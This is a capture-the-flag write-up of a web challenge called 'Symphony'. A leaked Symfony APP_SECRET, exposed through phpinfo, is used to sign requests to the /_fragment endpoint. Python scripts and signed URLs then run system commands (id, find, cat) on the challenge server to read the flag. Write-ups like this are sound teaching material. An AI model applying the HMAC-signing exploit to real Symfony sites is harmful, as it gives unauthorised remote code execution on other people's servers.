Symphony writeup
Web
🎵
If we inspect the website at the given link we can see that is displays the output of phpinfo()
Further down in the page we see two interesting environment variables APP_SECRET
and SYMFONY_DOTENV_VARS
This indicated that the page is built with Symphony.
After some googling I found the following blog post that describes a way to gain remote code execution in Symphony based websites.
Testing for vulnerability
To test whether we can apply this exploit or not we open http://challs.dvc.tf:9000/_fragment which returns the expected HTTP 403.
Calculate valid signature
As described in the blog post we calculate the proper HMAC with the exposed APP_SECRET
and the URL we want to access:
# APP_SECRET exposed from phpinfo: 60b938ad59ac73568c7f2d6c282cd084
# calculate HMAC with secret and URL
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment', hashlib.sha256).digest()))
# b'fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k='
# add calculated HMAC to request
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k=
# url encode
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk%2BCE2%2Fi%2Fk%3D
Now the webserver returns HTTP 404 instead of 403:
Remote code execution
We now know that we can properly calculate the HMAC so we try to run some code on the server:
# calculate HMAC for call to system("id", null) which would be called with
# http://challs.dvc.tf:9000/_fragment?_path=_controller=system&command=id&return_value=null
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull', hashlib.sha256).digest()))
# b'KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP/HpBI50WiE='
# Append hash to url
# http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP%2FHpBI50WiE%3D
We can see the result of running id by calling system($command)
.
Retrieving the flag
Now let's use find to find the flag. Using the following script we can generate URLs for running arbitrary commands on the server:
import base64, hmac, hashlib
import urllib.parse
appSecret = b'60b938ad59ac73568c7f2d6c282cd084'
baseUrl = 'http://challs.dvc.tf:9000/_fragment?_path=_controller%3D'
command = "system&command=find%20%2F%20-name%20flag.%2A&return_value=null"
fullUrl = baseUrl + urllib.parse.quote(command)
hash = base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', fullUrl.encode('UTF-8'), hashlib.sha256).digest())
print(fullUrl + '&_hash=' + urllib.parse.quote(hash))
This gives us the URL http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dfind%2520%252F%2520-name%2520flag.%252A%26return_value%3Dnull&_hash=fQFSkmoPF7cmMBKMyTUdOJGkIIGKuWJKi3NOK7lA2HI%3D
which reveals the flag
So we create a new URL by replacing the command with "system&command=cat%20%2Fvar%2Fwww%2Fhtml%2Fchall%2Fflag.txt%20&return_value=null"
.
The new URL is http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dcat%2520%252Fvar%252Fwww%252Fhtml%252Fchall%252Fflag.txt%2520%26return_value%3Dnull&_hash=3gkvuAFZrCeS0a0xE51myb6xBQejXT3x0uZRJi0GcK8%3D
.
Entering this URL in the browser gives us the flag dvCTF{1c5b0abc99b19effaacd1aa7d6ec28f8}